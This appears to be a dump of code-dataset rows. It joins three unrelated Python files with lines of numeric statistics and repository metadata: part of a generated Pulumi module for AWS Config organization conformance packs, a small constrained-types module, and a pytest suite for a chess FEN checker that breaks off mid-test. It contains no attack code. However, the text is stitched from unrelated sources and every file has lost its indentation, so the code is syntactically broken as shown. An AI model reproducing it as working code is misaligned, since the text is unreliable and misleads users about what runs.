A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_body")
@template_body.setter
def template_body(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_body", value)
@property
@pulumi.getter(name="templateS3Uri")
def template_s3_uri(self) -> Optional[pulumi.Input[str]]:
"""
Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_s3_uri")
@template_s3_uri.setter
def template_s3_uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_s3_uri", value)
@pulumi.input_type
class _OrganizationConformancePackState:
def __init__(__self__, *,
arn: Optional[pulumi.Input[str]] = None,
delivery_s3_bucket: Optional[pulumi.Input[str]] = None,
delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None,
excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
template_body: Optional[pulumi.Input[str]] = None,
template_s3_uri: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering OrganizationConformancePack resources.
:param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the organization conformance pack.
:param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
:param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024.
:param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
:param pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
:param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
:param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
:param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
if arn is not None:
pulumi.set(__self__, "arn", arn)
if delivery_s3_bucket is not None:
pulumi.set(__self__, "delivery_s3_bucket", delivery_s3_bucket)
if delivery_s3_key_prefix is not None:
pulumi.set(__self__, "delivery_s3_key_prefix", delivery_s3_key_prefix)
if excluded_accounts is not None:
pulumi.set(__self__, "excluded_accounts", excluded_accounts)
if input_parameters is not None:
pulumi.set(__self__, "input_parameters", input_parameters)
if name is not None:
pulumi.set(__self__, "name", name)
if template_body is not None:
pulumi.set(__self__, "template_body", template_body)
if template_s3_uri is not None:
pulumi.set(__self__, "template_s3_uri", template_s3_uri)
@property
@pulumi.getter
def arn(self) -> Optional[pulumi.Input[str]]:
"""
Amazon Resource Name (ARN) of the organization conformance pack.
"""
return pulumi.get(self, "arn")
@arn.setter
def arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arn", value)
@property
@pulumi.getter(name="deliveryS3Bucket")
def delivery_s3_bucket(self) -> Optional[pulumi.Input[str]]:
"""
Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
"""
return pulumi.get(self, "delivery_s3_bucket")
@delivery_s3_bucket.setter
def delivery_s3_bucket(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "delivery_s3_bucket", value)
@property
@pulumi.getter(name="deliveryS3KeyPrefix")
def delivery_s3_key_prefix(self) -> Optional[pulumi.Input[str]]:
"""
The prefix for the Amazon S3 bucket. Maximum length of 1024.
"""
return pulumi.get(self, "delivery_s3_key_prefix")
@delivery_s3_key_prefix.setter
def delivery_s3_key_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "delivery_s3_key_prefix", value)
@property
@pulumi.getter(name="excludedAccounts")
def excluded_accounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
"""
return pulumi.get(self, "excluded_accounts")
@excluded_accounts.setter
def excluded_accounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "excluded_accounts", value)
@property
@pulumi.getter(name="inputParameters")
def input_parameters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]:
"""
Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
"""
return pulumi.get(self, "input_parameters")
@input_parameters.setter
def input_parameters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]):
pulumi.set(self, "input_parameters", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="templateBody")
def template_body(self) -> Optional[pulumi.Input[str]]:
"""
A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_body")
@template_body.setter
def template_body(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_body", value)
@property
@pulumi.getter(name="templateS3Uri")
def template_s3_uri(self) -> Optional[pulumi.Input[str]]:
"""
Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_s3_uri")
@template_s3_uri.setter
def template_s3_uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_s3_uri", value)
class OrganizationConformancePack(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
delivery_s3_bucket: Optional[pulumi.Input[str]] = None,
delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None,
excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
template_body: Optional[pulumi.Input[str]] = None,
template_s3_uri: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Manages a Config Organization Conformance Pack. More information can be found in the [Managing Conformance Packs Across all Accounts in Your Organization](https://docs.aws.amazon.com/config/latest/developerguide/conformance-pack-organization-apis.html) and [AWS Config Managed Rules](https://docs.aws.amazon.com/config/latest/developerguide/evaluate-config_use-managed-rules.html) documentation. Example conformance pack templates may be found in the [AWS Config Rules Repository](https://github.com/awslabs/aws-config-rules/tree/master/aws-config-conformance-packs).
> **NOTE:** This resource must be created in the Organization master account or a delegated administrator account, and the Organization must have all features enabled. Every Organization account except those configured in the `excluded_accounts` argument must have a Configuration Recorder with proper IAM permissions before the Organization Conformance Pack will successfully create or update. See also the [`cfg.Recorder` resource](https://www.terraform.io/docs/providers/aws/r/config_configuration_recorder.html).
## Example Usage
### Using Template Body
```python
import pulumi
import pulumi_aws as aws
example_organization = aws.organizations.Organization("exampleOrganization",
aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"],
feature_set="ALL")
example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack",
input_parameters=[aws.cfg.OrganizationConformancePackInputParameterArgs(
parameter_name="AccessKeysRotatedParameterMaxAccessKeyAge",
parameter_value="90",
)],
template_body=\"\"\"Parameters:
AccessKeysRotatedParameterMaxAccessKeyAge:
Type: String
Resources:
IAMPasswordPolicy:
Properties:
ConfigRuleName: IAMPasswordPolicy
Source:
Owner: AWS
SourceIdentifier: IAM_PASSWORD_POLICY
Type: AWS::Config::ConfigRule
\"\"\",
opts=pulumi.ResourceOptions(depends_on=[
aws_config_configuration_recorder["example"],
example_organization,
]))
```
### Using Template S3 URI
```python
import pulumi
import pulumi_aws as aws
example_organization = aws.organizations.Organization("exampleOrganization",
aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"],
feature_set="ALL")
example_bucket = aws.s3.Bucket("exampleBucket")
example_bucket_object = aws.s3.BucketObject("exampleBucketObject",
bucket=example_bucket.id,
key="example-key",
content=\"\"\"Resources:
IAMPasswordPolicy:
Properties:
ConfigRuleName: IAMPasswordPolicy
Source:
Owner: AWS
SourceIdentifier: IAM_PASSWORD_POLICY
Type: AWS::Config::ConfigRule
\"\"\")
example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", template_s3_uri=pulumi.Output.all(example_bucket.bucket, example_bucket_object.key).apply(lambda bucket, key: f"s3://{bucket}/{key}"),
opts=pulumi.ResourceOptions(depends_on=[
aws_config_configuration_recorder["example"],
example_organization,
]))
```
## Import
Config Organization Conformance Packs can be imported using the `name`, e.g.,
```sh
$ pulumi import aws:cfg/organizationConformancePack:OrganizationConformancePack example example
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
:param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024.
:param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
:param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
:param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
:param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[OrganizationConformancePackArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages a Config Organization Conformance Pack. More information can be found in the [Managing Conformance Packs Across all Accounts in Your Organization](https://docs.aws.amazon.com/config/latest/developerguide/conformance-pack-organization-apis.html) and [AWS Config Managed Rules](https://docs.aws.amazon.com/config/latest/developerguide/evaluate-config_use-managed-rules.html) documentation. Example conformance pack templates may be found in the [AWS Config Rules Repository](https://github.com/awslabs/aws-config-rules/tree/master/aws-config-conformance-packs).
> **NOTE:** This resource must be created in the Organization master account or a delegated administrator account, and the Organization must have all features enabled. Every Organization account except those configured in the `excluded_accounts` argument must have a Configuration Recorder with proper IAM permissions before the Organization Conformance Pack will successfully create or update. See also the [`cfg.Recorder` resource](https://www.terraform.io/docs/providers/aws/r/config_configuration_recorder.html).
## Example Usage
### Using Template Body
```python
import pulumi
import pulumi_aws as aws
example_organization = aws.organizations.Organization("exampleOrganization",
aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"],
feature_set="ALL")
example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack",
input_parameters=[aws.cfg.OrganizationConformancePackInputParameterArgs(
parameter_name="AccessKeysRotatedParameterMaxAccessKeyAge",
parameter_value="90",
)],
template_body=\"\"\"Parameters:
AccessKeysRotatedParameterMaxAccessKeyAge:
Type: String
Resources:
IAMPasswordPolicy:
Properties:
ConfigRuleName: IAMPasswordPolicy
Source:
Owner: AWS
SourceIdentifier: IAM_PASSWORD_POLICY
Type: AWS::Config::ConfigRule
\"\"\",
opts=pulumi.ResourceOptions(depends_on=[
aws_config_configuration_recorder["example"],
example_organization,
]))
```
### Using Template S3 URI
```python
import pulumi
import pulumi_aws as aws
example_organization = aws.organizations.Organization("exampleOrganization",
aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"],
feature_set="ALL")
example_bucket = aws.s3.Bucket("exampleBucket")
example_bucket_object = aws.s3.BucketObject("exampleBucketObject",
bucket=example_bucket.id,
key="example-key",
content=\"\"\"Resources:
IAMPasswordPolicy:
Properties:
ConfigRuleName: IAMPasswordPolicy
Source:
Owner: AWS
SourceIdentifier: IAM_PASSWORD_POLICY
Type: AWS::Config::ConfigRule
\"\"\")
example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", template_s3_uri=pulumi.Output.all(example_bucket.bucket, example_bucket_object.key).apply(lambda bucket, key: f"s3://{bucket}/{key}"),
opts=pulumi.ResourceOptions(depends_on=[
aws_config_configuration_recorder["example"],
example_organization,
]))
```
## Import
Config Organization Conformance Packs can be imported using the `name`, e.g.,
```sh
$ pulumi import aws:cfg/organizationConformancePack:OrganizationConformancePack example example
```
:param str resource_name: The name of the resource.
:param OrganizationConformancePackArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(OrganizationConformancePackArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
delivery_s3_bucket: Optional[pulumi.Input[str]] = None,
delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None,
excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
template_body: Optional[pulumi.Input[str]] = None,
template_s3_uri: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = OrganizationConformancePackArgs.__new__(OrganizationConformancePackArgs)
__props__.__dict__["delivery_s3_bucket"] = delivery_s3_bucket
__props__.__dict__["delivery_s3_key_prefix"] = delivery_s3_key_prefix
__props__.__dict__["excluded_accounts"] = excluded_accounts
__props__.__dict__["input_parameters"] = input_parameters
__props__.__dict__["name"] = name
__props__.__dict__["template_body"] = template_body
__props__.__dict__["template_s3_uri"] = template_s3_uri
__props__.__dict__["arn"] = None
super(OrganizationConformancePack, __self__).__init__(
'aws:cfg/organizationConformancePack:OrganizationConformancePack',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
arn: Optional[pulumi.Input[str]] = None,
delivery_s3_bucket: Optional[pulumi.Input[str]] = None,
delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None,
excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None,
name: Optional[pulumi.Input[str]] = None,
template_body: Optional[pulumi.Input[str]] = None,
template_s3_uri: Optional[pulumi.Input[str]] = None) -> 'OrganizationConformancePack':
"""
Get an existing OrganizationConformancePack resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the organization conformance pack.
:param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
:param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024.
:param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
:param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
:param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
:param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _OrganizationConformancePackState.__new__(_OrganizationConformancePackState)
__props__.__dict__["arn"] = arn
__props__.__dict__["delivery_s3_bucket"] = delivery_s3_bucket
__props__.__dict__["delivery_s3_key_prefix"] = delivery_s3_key_prefix
__props__.__dict__["excluded_accounts"] = excluded_accounts
__props__.__dict__["input_parameters"] = input_parameters
__props__.__dict__["name"] = name
__props__.__dict__["template_body"] = template_body
__props__.__dict__["template_s3_uri"] = template_s3_uri
return OrganizationConformancePack(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def arn(self) -> pulumi.Output[str]:
"""
Amazon Resource Name (ARN) of the organization conformance pack.
"""
return pulumi.get(self, "arn")
@property
@pulumi.getter(name="deliveryS3Bucket")
def delivery_s3_bucket(self) -> pulumi.Output[Optional[str]]:
"""
Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
"""
return pulumi.get(self, "delivery_s3_bucket")
@property
@pulumi.getter(name="deliveryS3KeyPrefix")
def delivery_s3_key_prefix(self) -> pulumi.Output[Optional[str]]:
"""
The prefix for the Amazon S3 bucket. Maximum length of 1024.
"""
return pulumi.get(self, "delivery_s3_key_prefix")
@property
@pulumi.getter(name="excludedAccounts")
def excluded_accounts(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
"""
return pulumi.get(self, "excluded_accounts")
@property
@pulumi.getter(name="inputParameters")
def input_parameters(self) -> pulumi.Output[Optional[Sequence['outputs.OrganizationConformancePackInputParameter']]]:
"""
Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
"""
return pulumi.get(self, "input_parameters")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="templateBody")
def template_body(self) -> pulumi.Output[Optional[str]]:
"""
A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_body")
@property
@pulumi.getter(name="templateS3Uri")
def template_s3_uri(self) -> pulumi.Output[Optional[str]]:
"""
Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
return pulumi.get(self, "template_s3_uri")
| 57.765781 | 575 | 0.697714 | 4,047 | 34,775 | 5.80677 | 0.070175 | 0.059447 | 0.051234 | 0.045872 | 0.912936 | 0.900809 | 0.89434 | 0.890979 | 0.888809 | 0.879319 | 0 | 0.011733 | 0.215701 | 34,775 | 601 | 576 | 57.861897 | 0.849894 | 0.511028 | 0 | 0.792115 | 1 | 0 | 0.132752 | 0.053234 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16129 | false | 0.003584 | 0.02509 | 0 | 0.283154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
1a1a98422eca65eed3ccbc8120c323eebc7ef9c4 | 1,347 | py | Python | wyrd/constrained_types/primitives.py | meadsteve/constrained_types | 2a3b87a0b14be70ee2de963acf0eebf302dfe1d9 | [
"MIT"
] | 1 | 2021-05-03T08:53:33.000Z | 2021-05-03T08:53:33.000Z | wyrd/constrained_types/primitives.py | meadsteve/constrained_types | 2a3b87a0b14be70ee2de963acf0eebf302dfe1d9 | [
"MIT"
] | 16 | 2020-10-11T07:46:39.000Z | 2020-10-25T13:29:05.000Z | wyrd/constrained_types/primitives.py | meadsteve/constrained_types | 2a3b87a0b14be70ee2de963acf0eebf302dfe1d9 | [
"MIT"
] | null | null | null | from typing import Any, ClassVar, List
from .core import Constrained, Constraint
from .helpers import validate
class ConstrainedInt(int, Constrained[int]):
_constraints: ClassVar[List[Constraint]] = []
def __init__(self, value: Any):
super(int, self).__init__()
self._validate(self)
@classmethod
def _validate(cls, value):
validate(value, cls._constraints)
# For integration with pydantic
@classmethod
def __get_validators__(cls):
yield lambda v: cls(v)
class ConstrainedString(str, Constrained[str]):
_constraints: ClassVar[List[Constraint]] = []
def __init__(self, value: Any):
super(str, self).__init__()
self._validate(self)
@classmethod
def _validate(cls, value):
validate(value, cls._constraints)
# For integration with pydantic
@classmethod
def __get_validators__(cls):
yield lambda v: cls(v)
class ConstrainedFloat(float, Constrained[float]):
_constraints: ClassVar[List[Constraint]] = []
def __init__(self, value: Any):
super(float, self).__init__()
self._validate(self)
@classmethod
def _validate(cls, value):
validate(value, cls._constraints)
# For integration with pydantic
@classmethod
def __get_validators__(cls):
yield lambda v: cls(v)
| 24.053571 | 50 | 0.668151 | 147 | 1,347 | 5.77551 | 0.238095 | 0.056537 | 0.081272 | 0.116608 | 0.753828 | 0.753828 | 0.753828 | 0.753828 | 0.753828 | 0.753828 | 0 | 0 | 0.227914 | 1,347 | 55 | 51 | 24.490909 | 0.816346 | 0.066073 | 0 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7fa6863c4f0ea91236d953f5666f8b038986eba | 40,568 | py | Python | test_fenChecker.py | lesliejohng/atombase | 82a91edb4bd255dcd3c297d473a624f808075472 | [
"MIT"
] | 2 | 2021-02-02T16:11:45.000Z | 2021-02-02T19:25:42.000Z | test_fenChecker.py | lesliejohng/atombase | 82a91edb4bd255dcd3c297d473a624f808075472 | [
"MIT"
] | null | null | null | test_fenChecker.py | lesliejohng/atombase | 82a91edb4bd255dcd3c297d473a624f808075472 | [
"MIT"
] | null | null | null | import pytest
from fenChecker import Fen, WarningMsg
import mock
startingFen = 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1'
# -------------------- Fixtures -----------------------------------------------
@pytest.fixture
def good_fen():
# sets up a Fen object with a valid fen
# postion after 1 e4 e5 2 Nf3
return Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
@pytest.fixture
def good_ep_fen():
# sets up a Fen object with a valid test.ep square
# NB I am currently not clear whether this should be set ONLY if there is
# an enemy pawn positioned to perform a ep capture. ie only when it matters!
# The following position is after 1 e4 e6 2 e5 d5 when white could play
# 3 exd6 e.p.
return Fen('rnbqkbnr/pppp1ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3')
@pytest.fixture
def castling_fen():
# in this position it is not clear whether or not the Kings or Rooks
# have moved as each Rook could have moved and moved back and the kings
# could have moved and directly moved back or taken a triangluar
# route back to their original square.
return Fen('r1bqkb1r/ppp2ppp/2np1n2/4p3/4P3/2NP1N2/PPP2PPP/R1BQKB1R')
# toPlay, castling and ep will need to be set
# -----------------------------------------------------------------------------
# -------------------- assumptions --------------------------------------------
# In handling a string input I have made the following assumptions
# 1) the first sub-string is always the board
# 2) the last sub-string is always the move counter IF A DIGIT and fen
# has more at least 2 elements
# 3) the penultimate sub-string is always the half move clock IF A DIGIT
# AND the last sub-string is ALSO A DIGIT and the fen has as least
# 3 elements
# 4) if a toPlay, castling or ep element is recognised
# anywhere in the fen that value will be saved
# -----------------------------------------------------------------------------
# -------------------- tests: non-string fen ----------------------------------
def test_missingFen():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR',
'w','KQkq','-']): # full reset to starting position
# currently this is not an automatic reset to the starting position
# as in pychess, but requires manual input of each element
# of the fen
test = Fen() # nothing passed
assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == startingFen
def test_nonStringFenInteger():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR',
'w','KQkq','-']): # reset to starting position
test = Fen(fen = 5) # integer passed
# 5 is a valid fen character, so the board element consists of 5
# blank squares
assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == startingFen
def test_nonStringFenFloat():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR',
'w','KQkq','-']): # reset to starting position
test = Fen(fen = 5.45) # float passed
# 5.45 could be read as a board with 10 squares and one invalid
# character ('.')
assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == startingFen
def test_nonStringFenBool():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR',
'w','KQkq','-']): # full reset to starting position
test = Fen(True) # bool passed
# 5 is a valid fen character, so the board element consists of 5
# blank squares
assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == startingFen
# ------------------------------------------------------------ 4 tests: total 4
# -------------------- test sub-string assumptions ----------------------------
def test_noBoardSubstring():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen(fen = 'w KQkq - 5 20')
# toPlay, castling and ep should be recognised
# no board element passed
# last two items accepted as they are digits
assert test.fenElements == ['w', 'KQkq', '-', '5', '20']
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
# fenToPlay set to test default 'w'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '5'
assert test.move == '20'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 5 20'
def test_singleDigit():
# the available digit should be taken as the move number
# half move will be reset to o
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '2'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 2'
def test_NoDigit():
# the available digit should be taken as the move number
# half move will be reset to 0, move to 1
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq -')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
